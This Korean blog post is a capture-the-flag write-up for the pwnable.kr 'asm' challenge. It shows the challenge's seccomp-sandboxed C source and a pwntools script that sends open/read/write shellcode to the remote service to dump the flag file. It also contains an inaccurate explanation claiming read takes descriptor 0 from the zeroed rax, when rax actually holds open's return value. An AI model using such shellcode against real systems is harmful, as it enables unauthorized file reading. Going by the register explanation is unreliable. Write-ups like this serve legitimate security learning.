cgy12306

[pwnable.kr] asm 본문

Wargame/pwnable.kr

[pwnable.kr] asm

cgy12306 2020. 1. 27. 18:00

[asm]


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));

    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}

stub의 코드를 디셈블해보니 레지스터를 초기화 하는 코드이다.

그리고 open, read, write만 이용해서 쉘 코드를 보내야 한다.

readme 파일을 읽어보자.

9026 포트에 붙어서 쉘 코드를 보내야 flag를 보여준다고 한다.

flag에 대한 파일은 디렉토리 안에 있는 파일명과 같다고 한다.

flag 파일은 this_~~~~~~이다.

이 문제는 pwntools의 shellcraft를 이용하면 된다.

from pwn import *

context(arch='amd64', os='linux')

r = remote('pwnable.kr', 9026)

shellcode = ''
shellcode += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.open('rsp', 0, 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

r.recvuntil('shellcode:')
r.send(asm(shellcode))
r.recv()
flag = r.recv()

print flag 

코드를 설명하자면 스택에 파일명을 push한다.

open 함수에 인자를 rsp, 0, 0을 차례로 넣어준다. 첫번째 인자는 경로, 두번째 인자는 flag, 세번째 인자는 mode 이다.

read 함수에 인자를 rax, rsp, 100을 넣어준다. rax는 sub 코드에서 xor 연산으로 인해 0으로 초기화 됐으므로 0이 된다. => read(0, this~, 100)

write 함수에 인자를 1, rsp, 100을 넣어준다. => write(1, this~, 100)

이후 asm으로 머신코드를 만들어서 보내주면 된다.

'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blukat  (0) 2020.01.27
[pwnable.kr] unlink  (0) 2020.01.27
[pwnable.kr] cmd2  (0) 2020.01.27
[pwnable.kr] cmd1  (0) 2020.01.27
[pwnable.kr] lotto  (0) 2020.01.27
Comments